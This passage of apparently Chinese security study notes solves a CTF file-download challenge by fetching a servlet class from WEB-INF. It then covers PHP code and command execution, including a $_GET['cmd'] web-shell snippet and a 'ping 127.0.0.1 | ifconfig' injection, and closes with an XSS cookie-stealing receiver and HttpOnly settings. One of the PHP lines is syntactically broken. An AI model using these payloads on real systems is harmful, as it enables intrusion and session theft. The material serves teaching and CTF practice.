<url-pattern>/Login</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>

我们可以看到com.wm.FlagController,

1
2
3
4
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>

servlet-class里面的.代表的是路径/
然后下载FlagController.class文件试一试

1
filename=WEB-INF/classes/com/wm/ctf/FlagController.class

image-20220423104557820

响应

1
2
3
4
5
6
7
8
9
10
11
12
Êþº¾4+
  
!"flagLjava/lang/String;<init>()VCodeLineNumberTabledoGetR(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V
Exceptions#$
SourceFileFlagController.javaRuntimeVisibleAnnotations%Ljavax/servlet/annotation/WebServlet;nameFlagController <ZmxhZ3thMDRmMTgzNi1iYzQzLTQxNzItYTQ5OS1iYjMyNmMxZjhhYjJ9Cg==
% &'&<h1>Flag is nearby ~ Come on! ! !</h1>( )*javax/servlet/http/HttpServletjavax/servlet/ServletExceptionjava/io/IOException&javax/servlet/http/HttpServletResponse getWriter()Ljava/io/PrintWriter;java/io/PrintWriterprint(Ljava/lang/String;)V!
 
' *·*µ±

 
.,¹N-¶±
 s

里面有一个ZmxhZ3thMDRmMTgzNi1iYzQzLTQxNzItYTQ5OS1iYjMyNmMxZjhhYjJ9Cg==

解码就是flag

代码执行漏洞(RCE)

他分两类一个是代码执行一个是命令执行

代码执行

php

eval()函数

eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行,一般情况下不建议使用容易被黑客利用

我们可以用php的echo输出函数进行命令执行

a.php文件内容

1
2
3
<?php 
echo `ipconfig`;
?>

结果

1
Windows IP 配置 以太网适配器 本地连接: 连接特定的 DNS 后缀 . . . . . . . : www.tendawifi.com 本地链接 IPv6 地址. . . . . . . . : fe80::ecb0:3669:35e4:d4c%11 IPv4 地址 . . . . . . . . . . . . : 192.168.0.107 子网掩码 . . . . . . . . . . . . : 255.255.255.0 默认网关. . . . . . . . . . . . . : 192.168.0.1 隧道适配器 isatap.www.tendawifi.com: 媒体状态 . . . . . . . . . . . . : 媒体已断开 连接特定的 DNS 后缀 . . . . . . . : www.tendawifi.com 

应为用了下面里面的内容就会当做命令来执行

1
``

我们就可以用echo和``达到命令执行的目的

代码

1
2
3
<?php 
eval(echo `$_GET['cmd']`);
?>

命令执行

php

system()函数

执行外部程序并显示输出资料, 本函数就像是 C 语中的函数 system(),用来执行指令,并输出结果

1
2
3
4
5
6
7
8
>>>>> ping 127.0.0.1 | ifconfig
br-2e20e570bf8c: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.24.0.1 netmask 255.255.0.0 broadcast 172.24.255.255
ether 02:42:81:88:d1:c2 txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

XSS

自写获取Cookie获取

靶场服务器

接受cookie地址代码

1
2
3
4
<?php
$cookie = $_GET['x'];
file_put_contents('cookie.txt', $cookie);
?>

httponly绕过

什么是httponly

如果您在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,但是并不能防止xss漏洞只能是防止cookie被盗取。

开启httponly

全局的HttpOnly的设置

PHP5.2以上版本已支持HttpOnly参数的设置在php.ini中

1
session.cookie_httponly = 设置其值为1或者TRUE

只设置一个,在php代码里面添加

1
2
3
<?php 
ini_set("session.cookie_httponly", 1);
?>

更多其他的比如像java设置到这个地址去查看:https://www.oschina.net/question/100267_65116